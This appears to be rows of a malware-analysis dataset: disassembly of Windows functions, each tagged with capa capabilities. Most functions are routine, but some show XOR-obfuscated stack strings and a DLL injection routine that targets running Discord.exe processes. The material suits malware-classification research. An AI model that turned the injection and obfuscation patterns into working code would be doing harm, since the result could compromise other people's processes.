joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000302c
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbp
push rdi
lea rbp, [rax - 0x418]
sub rsp, 0x508
mov rax, qword [0x14000e3b8]
xor rax, rsp
mov qword [rbp + 0x3f0], rax
xor edi, edi
lea r9, [rbp + 0x428]
mov r8, rcx
mov word [rbp - 0x20], di
lea rcx, [rbp - 0x20]
mov word [rbp + 0x3ee], di
mov edx, 0x208
call fcn.1400025e8
test eax, eax
js 0x140003147
xor edx, edx
lea r8d, [rdi + 0x68]
lea rcx, [rsp + 0x70]
call sub.msvcrt.dll_memset
lea eax, [rdi + 6]
mov dword [rsp + 0x70], 0x68
mov word [rbp - 0x50], ax
lea rdx, [rbp - 0x20]
lea rax, [rsp + 0x58]
mov dword [rbp - 0x54], 0x81
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], edi
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_CreateProcessW]
test eax, eax
je 0x140003131
mov rcx, qword [rsp + 0x58]
or edx, 0xffffffff
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], edi
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetExitCodeProcess]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
mov eax, dword [rsp + 0x50]
jmp 0x140003137
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
mov eax, ecx
mov rcx, qword [rbp + 0x3f0]
xor rcx, rsp
call fcn.1400065b0
add rsp, 0x508
pop rdi
pop rbp
ret
Function at 0x140003b04
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x7f0ea553
add rsp, 0x28
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
Function at 0x140003ee4
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x140
mov rax, qword [0x14000e3b8]
xor rax, rsp
mov qword [rsp + 0x130], rax
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], 0xf0
mov qword [rsp + 0x28], rax
mov rbx, r8
lea rax, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rsi, rdx
mov rdi, rcx
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
xor edx, edx
test eax, eax
jne 0x140003f60
cmp dword [rsp + 0x30], 2
jb 0x140003fa4
mov eax, dword [rsp + 0x40]
lea ecx, [rdx + 0x4e]
and eax, 0xffdf
cmp eax, ecx
je 0x140003f5c
cmp eax, 0x59
jne 0x140003fa4
mov dword [rbx], 1
jmp 0x140003fa4
mov dword [rbx], edx
jmp 0x140003fa4
mov eax, dword [rbx]
mov r9d, 1
neg eax
mov word [rsp + 0x42], dx
lea rax, [rsp + 0x40]
mov dword [rsp + 0x28], 4
sbb r8w, r8w
mov qword [rsp + 0x20], rax
and r8w, 0xb
mov rdx, rsi
add r8w, 0x4e
mov rcx, rdi
mov word [rsp + 0x40], r8w
xor r8d, r8d
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400065b0
add rsp, 0x140
pop rdi
pop rsi
pop rbx
ret

Function at 0x140003fc0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x20], rbp
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x10], rdx
push rdi
sub rsp, 0x30
mov ebx, dword [0x14000e3d0]
lea rax, [r11 + 0x10]
mov qword [r11 - 0x10], rax
lea rbp, [0x14000e3d0]
lea r9, [r11 + 0x18]
mov qword [r11 - 0x18], rbp
xor r8d, r8d
mov dword [rsp + 0x48], 4
lea rdx, str.EventDispatchTtime
mov dword [rsp + 0x50], 4
mov rdi, rcx
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
test eax, eax
jne 0x14000402b
cmp dword [rsp + 0x50], 4
je 0x140004057
mov dword [0x14000e3d0], ebx
jmp 0x140004057
mov dword [rsp + 0x28], 4
lea rdx, str.EventDispatchTtime
mov r9d, 4
mov qword [rsp + 0x20], rbp
xor r8d, r8d
mov dword [0x14000e3d0], ebx
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegSetValueExW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x1400054a8
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x40
mov qword [rsp + 0x30], rsp
lea rcx, [0x14000e2c0]
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_EnterCriticalSection]
nop
cmp byte [0x1400106d0], 0
jne 0x140005547
lea rax, [0x1400106d8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftMSDTCTracing
mov rcx, 0xffffffff80000002
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
je 0x14000553b
and qword [0x1400106d8], 0
lea rcx, str.Unable_to_open_MSDTCTracing_settings_key_n
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_OutputDebugStringW]
movzx ecx, bx
or ecx, 0x80070000
test ebx, ebx
cmovle ecx, ebx
mov dword [rsp + 0x50], ecx
lea rdx, [0x140005535]
mov rcx, rsp
call sub.msvcrt.dll__local_unwind
nop
nop
mov eax, dword [rsp + 0x50]
jmp 0x140005556
call fcn.14000555c
mov byte [0x1400106d0], 1
lea rcx, [0x14000e2c0]
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_LeaveCriticalSection]
xor eax, eax
add rsp, 0x40
pop rbx
ret
Function at 0x140005ccc
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x500]
sub rsp, 0x600
mov rax, qword [0x14000e3b8]
xor rax, rsp
mov qword [rbp + 0x4f0], rax
xor ebx, ebx
mov edi, 0x105
mov qword [rsp + 0x38], rbx
mov rsi, rdx
mov dword [rsp + 0x30], edi
mov r14, rcx
test rdx, rdx
jne 0x140005d1f
mov eax, 0x80070057
jmp 0x140005eba
mov qword [rcx], rbx
mov qword [rdx], rbx
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
lea r9, [rsp + 0x30]
xor edx, edx
mov rcx, rax
lea r8, [rbp + 0xd0]
call qword [sym.imp.api_ms_win_core_psapi_l1_1_0.dll_QueryFullProcessImageNameW]
test eax, eax
jne 0x140005d5f
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
jmp 0x140005eb8
lea r9, [rsp + 0x38]
mov edx, edi
lea r8, [rbp + 0x2e0]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_GetFullPathNameW]
test eax, eax
je 0x140005d46
mov rdx, qword [rsp + 0x38]
lea rcx, str.dllhost.exe
call qword [sym.imp.msvcrt.dll__wcsicmp]
test eax, eax
jne 0x140005ea9
call qword [sym.imp.api_ms_win_core_processenvironment_l1_1_0.dll_GetCommandLineA]
mov rcx, rax
mov edx, 0x20
call qword [sym.imp.msvcrt.dll_strchr]
test rax, rax
je 0x140005ea9
add rax, 1
je 0x140005ea9
movzx ecx, word [0x14000aed8]
lea rdx, [rsp + 0x40]
movsd xmm0, qword [str._ProcessID]
mov word [rsp + 0x50], cx
mov cl, byte [0x14000aeda]
mov byte [rsp + 0x52], cl
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x40], rcx
mov rcx, rax
movsd qword [rsp + 0x48], xmm0
call fcn.140005be4
cmp eax, 1
jl 0x140005ea9
mov al, byte [rbp - 0x40]
lea rdi, [rbp - 0x40]
jmp 0x140005e18
lea rcx, [rdi + 1]
cmp al, 0x3a
je 0x140005e1e
mov al, byte [rcx]
mov rdi, rcx
test al, al
jne 0x140005e0b
jmp 0x140005e23
mov byte [rdi], bl
mov rdi, rcx
cmp byte [rdi], bl
je 0x140005e3a
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x40]
call qword [sym.imp.msvcrt.dll__stricmp]
test eax, eax
je 0x140005e3e
lea rdi, [rbp - 0x40]
test rdi, rdi
je 0x140005e66
mov ecx, 0x28
mov r8, rdi
mov edx, ecx
mov eax, ebx
cmp byte [r8], bl
je 0x140005e5d
inc r8
sub rdx, 1
jne 0x140005e4f
test rdx, rdx
je 0x140005e66
sub ecx, edx
jmp 0x140005e6d
mov ecx, ebx
mov eax, 0x80070057
test eax, eax
js 0x140005ea9
lea r9d, [rcx + 1]
mov dword [rsp + 0x28], 0x29
lea rax, [rsp + 0x60]
xor ecx, ecx
mov r8, rdi
mov qword [rsp + 0x20], rax
xor edx, edx
call qword [sym.imp.api_ms_win_core_string_l1_1_0.dll_MultiByteToWideChar]
test eax, eax
je 0x140005ea9
mov rdx, rsi
lea rcx, [rsp + 0x60]
call fcn.140002250
test eax, eax
js 0x140005eb8
mov rcx, qword [rsp + 0x38]
mov rdx, r14
call fcn.140002250
mov ebx, eax
mov eax, ebx
mov rcx, qword [rbp + 0x4f0]
xor rcx, rsp
call fcn.1400065b0
lea r11, [rsp + 0x600]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x14000631c
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140010960], rbx
je 0x140006383
cmp rax, rbx
jne 0x140006376
mov ebx, 1
mov esi, ebx
jmp 0x140006388
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14000635b
mov ebx, 1
mov eax, dword [0x140010968]
cmp eax, ebx
jne 0x1400063a0
mov edi, 0x1f
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x14000640c
mov eax, dword [0x140010968]
test eax, eax
jne 0x140006401
mov dword [0x140010968], ebx
lea r15, [0x1400089c8]
lea rdi, [0x1400089b0]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x1400063f3
test eax, eax
jne 0x1400063f7
cmp qword [rdi], r14
je 0x1400063e8
mov rax, qword [rdi]
mov rcx, qword [0x140008930]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x1400063ca
test eax, eax
je 0x140006407
mov eax, 0xff
jmp 0x140006562
mov dword [0x14000e3e4], ebx
mov edi, 0x1f
mov eax, dword [0x140010968]
cmp eax, ebx
jne 0x140006433
lea rdx, [0x1400089a8]
lea rcx, [0x140008938]
call sub.msvcrt.dll__initterm
mov dword [0x140010968], 2
test esi, esi
jne 0x140006441
mov rax, r14
xchg qword [0x140010960], rax
cmp qword [0x140010970], r14
je 0x140006474
lea rcx, [0x140010970]
call fcn.140006730
test eax, eax
je 0x140006474
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140010970]
mov r9, qword [0x140008930]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14000648d
mov eax, 0xff
jmp 0x140006562
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x140006513
test ax, ax
je 0x1400064a8
test edx, edx
jne 0x140006513
sub ax, bx
cmp ax, di
ja 0x1400064be
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x1400064a8
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140001394
mov dword [0x14000e3e0], eax
cmp dword [0x14000e400], r14d
jne 0x1400064fc
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14000e3e4], r14d
jne 0x140006511
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14000e3e0]
jmp 0x140006562
cmp ax, 0x22
jne 0x140006527
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x140006496
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.1400b8000
add rsp, 0x28
jmp 0x14000631c
Function at 0x140006640
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000668c
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140006684
cmp dword [rcx + 0x3c], edx
jl 0x140006684
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140006684
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000668c
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140001060
Capabilities:
Encode data using xor

Disassembly:
mov r8d, 2
mov r10, rdx
lea r9, [rcx + 1]
mov r11d, r8d
lea ecx, [r8 - 2]
mov eax, 0x2e8ba2e9
add r9, 6
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub ecx, edx
movsxd rax, ecx
movzx ecx, byte [rax + r10]
mov eax, 0x2e8ba2e9
xor byte [r9 - 7], cl
lea ecx, [r8 - 1]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub ecx, edx
movsxd rax, ecx
movzx ecx, byte [rax + r10]
mov eax, 0x2e8ba2e9
xor byte [r9 - 6], cl
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r8d
imul edx, edx, 0xb
sub eax, edx
cdqe
movzx ecx, byte [rax + r10]
mov eax, 0x2e8ba2e9
xor byte [r9 - 5], cl
lea ecx, [r8 + 1]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub ecx, edx
movsxd rax, ecx
movzx ecx, byte [rax + r10]
mov eax, 0x2e8ba2e9
xor byte [r9 - 4], cl
lea ecx, [r8 + 2]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub ecx, edx
movsxd rax, ecx
movzx ecx, byte [rax + r10]
mov eax, 0x2e8ba2e9
xor byte [r9 - 3], cl
lea ecx, [r8 + 3]
add r8d, 6
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub ecx, edx
movsxd rax, ecx
movzx ecx, byte [rax + r10]
xor byte [r9 - 2], cl
dec r11
jne 0x140001070
repz ret
Function at 0x140001a70
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140005020]
xor rax, rsp
mov qword [rbp - 8], rax
xor ebx, ebx
mov ecx, ebx
nop word [rax + rax]
lea eax, [rcx + 1]
and eax, ecx
add ecx, 2
and ebx, eax
cmp ecx, 0x3b570e
jl 0x140001aa0
lea rax, [rbp - 0x38]
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x38], 0x74303633
mov qword [rbp - 0x60], rax
lea rax, [rbp - 0x50]
mov dword [rbp - 0x34], 0x796172
mov dword [rbp - 0x50], 0x73303633
mov word [rbp - 0x4c], 0x64
mov qword [rbp - 0x58], rax
call fcn.140001160
test al, al
jne 0x140001b08
nop word [rax + rax]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x60]
call fcn.140001160
test al, al
je 0x140001af0
mov dword [rbp - 0x48], 0xb2a4a5a1
mov dword [rbp - 0x44], 0xb2a5b0a6
mov dword [rbp - 0x40], 0xa5a8b2b9
mov byte [rbp - 0x3c], 0
lea rcx, [rbp - 0x48]
mov edx, recv
nop word [rax + rax]
movzx eax, byte [rcx]
inc rcx
xor al, 0xbd
add al, 0x43
xor al, 0x37
sub al, 0x37
dec rdx
mov byte [rcx - 1], al
jne 0x140001b30
mov byte [rbp - 0xa], dl
mov dword [rbp - 0x30], 0x625c3a63
mov dword [rbp - 0x2c], 0x69656f7a
lea rdx, [rbp - 0x20]
mov word [rbp - 0x28], 0x5c
mov dword [rbp - 0x20], 0xe8f0f2e1
mov dword [rbp - 0x1c], 0xe1f2c3e1
mov dword [rbp - 0x18], 0xe5d2e8f3
mov dword [rbp - 0x14], 0xf4f2eff0
mov dword [rbp - 0x10], 0xe52e3436
mov word [rbp - 0xc], 0xe5f8
mov ecx, reloc.WS2_32.dll_socket
nop
movzx eax, byte [rdx]
inc rdx
xor al, 0xc0
add al, 0x40
dec rcx
mov byte [rdx - 1], al
jne 0x140001b90
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x48]
call fcn.140001520
mov ecx, ebx
call qword [sym.imp.MSVCR100.dll_exit]
int3
Function at 0x1400027e3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140005020]
jne 0x1400023ea
rol rcx, 0x10
test cx, 0xffff
jne 0x1400023e6
repz ret
ror rcx, 0x10
jmp 0x14000273c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140005160]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140005258]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400027c1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140005160]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400027e3
mov rax, qword [rsp + 0x88]
mov qword [0x140005258], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400051f8], rax
mov rax, qword [0x140005258]
mov qword [0x1400050d0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400051e0], rax
mov dword [0x1400050c0], 0xc0000409
mov dword [0x1400050c4], 1
mov rax, qword [0x140005020]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140005028]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140005158], eax
mov ecx, 1
call sub.MSVCR100.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400032e8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140005158], 0
jne 0x14000286a
mov ecx, 1
call sub.MSVCR100.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140003aa0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov edi, ecx
lea rcx, [rsp + 0x60]
call fcn.140003140
nop
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.140003380
xor r14d, r14d
cmp qword [rsp + 0x50], r14
je 0x140003bca
lea rsi, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rsi, qword [rsp + 0x40]
mov ebx, dword [rsp + 0x50]
inc ebx
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbp, rax
lea rcx, str.Kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140007670]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, ebx
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x20], r14
mov r9d, ebx
mov r8, rsi
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdi
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140003c0a
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c05
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003c05
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005dc4
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], r14b
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140003c5d
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003c58
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005dc4
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140005d60
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1400053e0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x290
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor ebp, ebp
mov esi, ebp
mov dword [rsp + 0x20], ebp
cmp byte [0x14000a904], 1
jne 0x140005422
call qword [sym.imp.KERNEL32.dll_AllocConsole]
jmp 0x140005430
call qword [sym.imp.KERNEL32.dll_FreeConsole]
nop
nop dword [rax]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x28], xmm1
mov qword [rsp + 0x38], rbp
or esi, 1
mov dword [rsp + 0x20], esi
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400054cd
mov dword [rsp + 0x40], 0x238
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400054c4
lea rdx, str.Discord.exe
lea rcx, [rsp + 0x6c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x1400054b2
mov rdx, qword [rsp + 0x30]
cmp rdx, qword [rsp + 0x38]
je 0x1400054a3
mov eax, dword [rsp + 0x48]
mov dword [rdx], eax
add qword [rsp + 0x30], 4
jmp 0x1400054b2
lea r8, [rsp + 0x48]
lea rcx, [rsp + 0x28]
call fcn.140005010
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140005473
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x28]
cmp rbx, rdi
je 0x1400054f5
nop dword [rax]
mov ecx, dword [rbx]
call fcn.140003aa0
add rbx, 4
cmp rbx, rdi
jne 0x1400054e0
mov rbx, qword [rsp + 0x28]
and esi, 0xfffffffe
test rbx, rbx
je 0x140005430
mov rdx, qword [rsp + 0x38]
sub rdx, rbx
and rdx, 0xfffffffffffffffc
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000552e
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000553b
mov rcx, rbx
call fcn.140005dc4
jmp 0x140005430
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3

Function at 0x140005544
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14000557e
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140005583
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400055cc
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400073c0]
cmp byte [rcx + rax], 0
je 0x1400055cc
dec r8
sub rdx, 1
jne 0x1400055b2
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140006904
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000694e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000694e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000694e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000694e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000694e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140006950
xor al, al
add rsp, 0x28
ret